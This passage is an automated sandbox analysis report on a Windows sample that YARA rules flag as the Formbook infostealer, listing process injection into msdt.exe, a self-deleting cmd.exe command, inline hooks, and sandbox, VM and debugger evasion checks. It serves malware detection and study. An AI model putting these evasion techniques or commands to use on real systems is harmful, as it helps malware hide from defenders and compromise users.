          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05411D55
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05412D07
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054125DD
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05372581
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535D5E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540D466
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535841F
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0541DFCE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05411FF1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05366E30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540D616
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05412EF7
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05364120
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0534F900
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05401002
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0541E824
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_053720A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0535B090
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054128EC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054120A8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05412B28
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0537EBB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0540DBD2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054003DA
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_054122AE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F32D90
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F32D88
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F39E40
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F39E3B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F32FB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4DFAF
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 0534B150 appears 39 times
          Source: 86dXpRWnFG.exe, 00000000.00000002.736228559.000000000030C000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameVfgwhtwrcepk2.exel% vs 86dXpRWnFG.exe
          Source: 86dXpRWnFG.exe, 00000000.00000002.737993531.0000000002921000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameClassLibrary3.dll< vs 86dXpRWnFG.exe
          Source: 86dXpRWnFG.exe, 00000000.00000002.749362534.0000000006F50000.00000004.00000001.sdmpBinary or memory string: OriginalFilenameObowjsde.dll4 vs 86dXpRWnFG.exe
          Source: 86dXpRWnFG.exe, 00000000.00000002.751018297.0000000007090000.00000002.00000001.sdmpBinary or memory string: OriginalFilenamemscorrc.dllT vs 86dXpRWnFG.exe
          Source: 86dXpRWnFG.exe, 00000009.00000000.735500288.0000000000F1C000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameVfgwhtwrcepk2.exel% vs 86dXpRWnFG.exe
          Source: 86dXpRWnFG.exe, 00000009.00000002.790974355.00000000035A0000.00000040.00000001.sdmpBinary or memory string: OriginalFilenamemsdt.exej% vs 86dXpRWnFG.exe
          Source: 86dXpRWnFG.exe, 00000009.00000002.785970586.0000000001A8F000.00000040.00000001.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs 86dXpRWnFG.exe
          Source: 86dXpRWnFG.exeBinary or memory string: OriginalFilenameVfgwhtwrcepk2.exel% vs 86dXpRWnFG.exe
          Source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000009.00000002.785152903.00000000014C0000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000E.00000002.914480557.0000000003550000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000009.00000002.785228330.00000000014F0000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000E.00000002.914598348.0000000003820000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000009.00000002.782865836.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.738669459.0000000003659000.00000004.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000E.00000002.913261174.0000000000F30000.00000040.00000001.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 9.2.86dXpRWnFG.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 9.2.86dXpRWnFG.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: classification engineClassification label: mal100.troj.evad.winEXE@7/1@2/2
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\86dXpRWnFG.exe.logJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2860:120:WilError_01
          Source: 86dXpRWnFG.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: 86dXpRWnFG.exeVirustotal: Detection: 32%
          Source: 86dXpRWnFG.exeReversingLabs: Detection: 10%
          Source: unknownProcess created: C:\Users\user\Desktop\86dXpRWnFG.exe 'C:\Users\user\Desktop\86dXpRWnFG.exe'
          Source: unknownProcess created: C:\Users\user\Desktop\86dXpRWnFG.exe C:\Users\user\Desktop\86dXpRWnFG.exe
          Source: unknownProcess created: C:\Windows\SysWOW64\msdt.exe C:\Windows\SysWOW64\msdt.exe
          Source: unknownProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\86dXpRWnFG.exe'
          Source: unknownProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess created: C:\Users\user\Desktop\86dXpRWnFG.exe C:\Users\user\Desktop\86dXpRWnFG.exe
          Source: C:\Windows\SysWOW64\msdt.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\86dXpRWnFG.exe'
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
          Source: 86dXpRWnFG.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: 86dXpRWnFG.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
          Source: Binary string: wscui.pdbUGP source: explorer.exe, 0000000A.00000000.758018401.0000000005A00000.00000002.00000001.sdmp
          Source: Binary string: msdt.pdbGCTL source: 86dXpRWnFG.exe, 00000009.00000002.790974355.00000000035A0000.00000040.00000001.sdmp
          Source: Binary string: wntdll.pdbUGP source: 86dXpRWnFG.exe, 00000009.00000002.785970586.0000000001A8F000.00000040.00000001.sdmp, msdt.exe, 0000000E.00000002.915505198.000000000543F000.00000040.00000001.sdmp
          Source: Binary string: wntdll.pdb source: 86dXpRWnFG.exe, 00000009.00000002.785970586.0000000001A8F000.00000040.00000001.sdmp, msdt.exe
          Source: Binary string: msdt.pdb source: 86dXpRWnFG.exe, 00000009.00000002.790974355.00000000035A0000.00000040.00000001.sdmp
          Source: Binary string: wscui.pdb source: explorer.exe, 0000000A.00000000.758018401.0000000005A00000.00000002.00000001.sdmp
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041797C push ecx; retf
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00417936 push esp; retf
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0040E3E7 push ebp; iretd
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00417C0D push ss; ret
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041CEB5 push eax; ret
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041CF6C push eax; ret
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041CF02 push eax; ret
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041CF0B push eax; ret
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041D7C6 push cs; retf
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0041678C push 00000050h; retf
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_0539D0D1 push ecx; ret
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4797C push ecx; retf
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F47936 push esp; retf
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F3E3E7 push ebp; iretd
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F47C0D push ss; ret
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4CEB5 push eax; ret
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4D7C6 push cs; retf
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4678C push 00000050h; retf
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4CF6C push eax; ret
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4CF02 push eax; ret
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_00F4CF0B push eax; ret
          Source: 86dXpRWnFG.exe, P5DwVA3qsuUkgPHbBP/QL2lCfIvdfmBsg1VWG.csHigh entropy of concatenated method names: '.ctor', 'QL2IlCfvd', 'Dispose', 'dmB3sg1VW', 'X2E6MKCwtPqj5Hpe37', 'OLf8nmQmrKiEQVHYBH', 'G9pwjWchC9YkI7u9DR', 'eWLEtYHGPcPEetJgiw', 'SITVgja9hI131W2vxt', 'xIES5gTBPPHX9RsB8n'
          Source: 86dXpRWnFG.exe, tRMJiifKtEyxB4yw4q/h2uNghyeeLXI9bQAEC.csHigh entropy of concatenated method names: 'paVZkWOJ7', 'j8j6OabS7', 'TPUb2uNgh', 'VeLJXI9bQ', 'OECPWRMJi', 'AKtjEyxB4', 'dw4UqCLQJ', 'fMsLA8VCw', 'FqemQ9A4R', 'sxTMaVSoE'
          Source: 0.0.86dXpRWnFG.exe.220000.0.unpack, P5DwVA3qsuUkgPHbBP/QL2lCfIvdfmBsg1VWG.csHigh entropy of concatenated method names: '.ctor', 'QL2IlCfvd', 'Dispose', 'dmB3sg1VW', 'X2E6MKCwtPqj5Hpe37', 'OLf8nmQmrKiEQVHYBH', 'G9pwjWchC9YkI7u9DR', 'eWLEtYHGPcPEetJgiw', 'SITVgja9hI131W2vxt', 'xIES5gTBPPHX9RsB8n'
          Source: 0.0.86dXpRWnFG.exe.220000.0.unpack, tRMJiifKtEyxB4yw4q/h2uNghyeeLXI9bQAEC.csHigh entropy of concatenated method names: 'paVZkWOJ7', 'j8j6OabS7', 'TPUb2uNgh', 'VeLJXI9bQ', 'OECPWRMJi', 'AKtjEyxB4', 'dw4UqCLQJ', 'fMsLA8VCw', 'FqemQ9A4R', 'sxTMaVSoE'
          Source: 0.2.86dXpRWnFG.exe.220000.0.unpack, P5DwVA3qsuUkgPHbBP/QL2lCfIvdfmBsg1VWG.csHigh entropy of concatenated method names: '.ctor', 'QL2IlCfvd', 'Dispose', 'dmB3sg1VW', 'X2E6MKCwtPqj5Hpe37', 'OLf8nmQmrKiEQVHYBH', 'G9pwjWchC9YkI7u9DR', 'eWLEtYHGPcPEetJgiw', 'SITVgja9hI131W2vxt', 'xIES5gTBPPHX9RsB8n'
          Source: 0.2.86dXpRWnFG.exe.220000.0.unpack, tRMJiifKtEyxB4yw4q/h2uNghyeeLXI9bQAEC.csHigh entropy of concatenated method names: 'paVZkWOJ7', 'j8j6OabS7', 'TPUb2uNgh', 'VeLJXI9bQ', 'OECPWRMJi', 'AKtjEyxB4', 'dw4UqCLQJ', 'fMsLA8VCw', 'FqemQ9A4R', 'sxTMaVSoE'
          Source: 9.0.86dXpRWnFG.exe.e30000.0.unpack, P5DwVA3qsuUkgPHbBP/QL2lCfIvdfmBsg1VWG.csHigh entropy of concatenated method names: '.ctor', 'QL2IlCfvd', 'Dispose', 'dmB3sg1VW', 'X2E6MKCwtPqj5Hpe37', 'OLf8nmQmrKiEQVHYBH', 'G9pwjWchC9YkI7u9DR', 'eWLEtYHGPcPEetJgiw', 'SITVgja9hI131W2vxt', 'xIES5gTBPPHX9RsB8n'
          Source: 9.0.86dXpRWnFG.exe.e30000.0.unpack, tRMJiifKtEyxB4yw4q/h2uNghyeeLXI9bQAEC.csHigh entropy of concatenated method names: 'paVZkWOJ7', 'j8j6OabS7', 'TPUb2uNgh', 'VeLJXI9bQ', 'OECPWRMJi', 'AKtjEyxB4', 'dw4UqCLQJ', 'fMsLA8VCw', 'FqemQ9A4R', 'sxTMaVSoE'
          Source: 9.2.86dXpRWnFG.exe.e30000.1.unpack, P5DwVA3qsuUkgPHbBP/QL2lCfIvdfmBsg1VWG.csHigh entropy of concatenated method names: '.ctor', 'QL2IlCfvd', 'Dispose', 'dmB3sg1VW', 'X2E6MKCwtPqj5Hpe37', 'OLf8nmQmrKiEQVHYBH', 'G9pwjWchC9YkI7u9DR', 'eWLEtYHGPcPEetJgiw', 'SITVgja9hI131W2vxt', 'xIES5gTBPPHX9RsB8n'
          Source: 9.2.86dXpRWnFG.exe.e30000.1.unpack, tRMJiifKtEyxB4yw4q/h2uNghyeeLXI9bQAEC.csHigh entropy of concatenated method names: 'paVZkWOJ7', 'j8j6OabS7', 'TPUb2uNgh', 'VeLJXI9bQ', 'OECPWRMJi', 'AKtjEyxB4', 'dw4UqCLQJ', 'fMsLA8VCw', 'FqemQ9A4R', 'sxTMaVSoE'

          Hooking and other Techniques for Hiding and Protection:

          barindex
          Modifies the prolog of user mode functions (user mode inline hooks)Show sources
          Source: explorer.exeUser mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x8F 0xFE 0xE0
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\msdt.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

          Malware Analysis System Evasion:

          barindex
          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
          Source: 86dXpRWnFG.exe, 00000000.00000002.749362534.0000000006F50000.00000004.00000001.sdmpBinary or memory string: SBIEDLL.DLLHEADKCREATEOBJECT("WSCRIPT.SHELL").RUN """
          Tries to detect virtualization through RDTSC time measurementsShow sources
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeRDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeRDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 0000000000F398E4 second address: 0000000000F398EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Windows\SysWOW64\msdt.exeRDTSC instruction interceptor: First address: 0000000000F39B5E second address: 0000000000F39B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00409A90 rdtsc
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Desktop\86dXpRWnFG.exe TID: 3984Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Windows\explorer.exe TID: 6360Thread sleep time: -40000s >= -30000s
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: explorer.exe, 0000000A.00000000.762827387.000000000A60E000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000A.00000000.757122057.00000000058C0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
          Source: 86dXpRWnFG.exe, 00000000.00000002.749362534.0000000006F50000.00000004.00000001.sdmpBinary or memory string: vmware
          Source: explorer.exe, 0000000A.00000000.758744895.0000000006650000.00000004.00000001.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000A.00000000.762827387.000000000A60E000.00000004.00000001.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 0000000A.00000002.922688507.0000000004710000.00000004.00000001.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
          Source: explorer.exe, 0000000A.00000000.757122057.00000000058C0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
          Source: explorer.exe, 0000000A.00000000.763244737.000000000A716000.00000004.00000001.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
          Source: explorer.exe, 0000000A.00000000.757122057.00000000058C0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
          Source: explorer.exe, 0000000A.00000000.763244737.000000000A716000.00000004.00000001.sdmpBinary or memory string: 0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA^
          Source: explorer.exe, 0000000A.00000000.763244737.000000000A716000.00000004.00000001.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
          Source: explorer.exe, 0000000A.00000000.757122057.00000000058C0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess information queried: ProcessInformation
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\msdt.exeProcess queried: DebugPort
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_00409A90 rdtsc
          Source: C:\Users\user\Desktop\86dXpRWnFG.exeCode function: 9_2_0040ACD0 LdrLoadDll,
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 14_2_05353D34 mov eax, dword ptr fs:[00000030h]
